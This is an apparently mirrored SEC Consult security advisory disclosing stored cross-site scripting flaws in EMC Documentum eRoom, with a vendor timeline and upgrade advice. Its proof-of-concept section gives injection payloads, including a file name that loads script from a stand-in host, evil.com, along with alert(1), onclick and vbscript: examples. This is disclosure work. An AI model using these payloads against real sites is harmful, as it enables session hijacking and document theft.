EMC Documentum eRoom 7.33.498.98 Cross Site Scripting

Type packetstorm
Reporter F. Lukavsky
Modified 2012-03-16T00:00:00


                                            `SEC Consult Vulnerability Lab Security Advisory < 20120315-0 >  
title: Multiple permanent cross-site scripting vulnerabilities  
product: EMC Documentum eRoom  
vulnerable version: 7.33.498.98  
fixed version: 7.4.4  
impact: high  
homepage: http://www.emc.com/products/detail/software2/eroom.htm  
found: 2011-05-05  
by: F. Lukavsky, B. Schildendorfer  
SEC Consult Vulnerability Lab   
Vendor description:  
"EMC Documentum eRoom is easy-to-use online team collaboration software that   
enables distributed teams to work together more efficiently. With Documentum   
eRoom, teams around the world can accelerate document collaboration and group   
activities, improve the development and delivery of products and services,   
optimize collaborative business processes, improve innovation, and streamline   
Vulnerability overview/description:  
Documentum eRoom suffers from multiple permanent cross-site scripting   
vulnerabilities, which allow an attacker to steal other user's sessions,   
to impersonate other users and to gain unauthorized access to documents   
hosted in eRooms. A JavaScript worm could be utilized to crawl an eRoom and   
gather all available documents.  
There are many parameters which are not properly sanitized and thus  
vulnerable to XSS.  
Proof of concept:  
1) Permanent Cross-Site Scripting within file names  
The extension of files uploaded to Documentum eRoom are not sanitized. The   
following file name would lead to execution of script code as soon as the   
file is viewed (i.e. in the search results or the directory view)  
."><script src="http://evil.com/evil%2ejs"></script>  
."><script src="/eRoomReq/Files/facility/eRoom/0_f000/test%2etxt"></script>  
2) Permanent Cross-Site Scripting within the personal information  
Users can change their personal information. By editing the field   
"organization" it is possible to store a malicious JavaScript payload   
(e.g., <script>alert(1)</script>).  
The payload gets executed every time a user visits a part of the website   
responsible for alerting users about changes in the eRoom (i.e., "Choose   
Members" for eRooms).  
3) Cross-Site Scripting within Links  
Via the import function it is possible to add formatted text to database   
fields even when the eRoom Plugin is not utilized.  
The following formatted text will create links that execute JavaScript code   
once clicked:  
"<div class=""user""><a  
"<div class=""user""><a onclick=""alert(1)"">test</a></div>"  
4) Unhandled protocol handlers in links  
Although it is not possible to create links with the function "create link"   
that execute JavaScript code via the protocol handler "javascript:", the   
protocol handler "vbscript" is allowed and would execute VBScript, for example   
in IE (e.g., "vbscript:alert(1)", "callto:+1900[premium-rate number]", etc.).  
Vulnerable / tested versions:  
Documentum eRoom version 7.33.498.98  
Vendor contact timeline:  
2011-11-22: Contacting vendor through security_alert@emc.com  
2011-11-23: Vendor response, issue is being forwarded to the  
appropriate product development team for review and   
2011-11-28: Vendor response, issue has been reviewed  
affected version is not supported anymore  
current version not affected by #1 and #3  
additional information required for #2 and #4  
2011-11-29: Providing additional information for #2 and #4  
2011-11-30: Vendor cannot reproduce #2 and #4, asks for additional   
2012-01-12: Call with vendor to clarify remaining issues.  
2012-01-27: Vendor requests additional information regarding the test   
environment in order to reproduce vulnerabilities #2 and #4  
2012-03-13: EMC releases patch  
2012-03-15: Public release of SEC Consult advisory  
According to the vendor, these issues have been fixed in version 7.4.4 of  
Documentum eRoom. Upgrade to the new release.  
Restrict access to the software as much as possible. Only allow trusted  
IP addresses and users in order to minimise attack surface. Do not host   
confidential information in Documentum eRoom.   
Advisory URL:  
SEC Consult Unternehmensberatung GmbH  
Office Vienna  
Mooslackengasse 17  
A-1190 Vienna  
Tel.: +43 / 1 / 890 30 43 - 0  
Fax.: +43 / 1 / 890 30 43 - 25  
Mail: research at sec-consult dot com  
EOF F. Lukavsky / @2012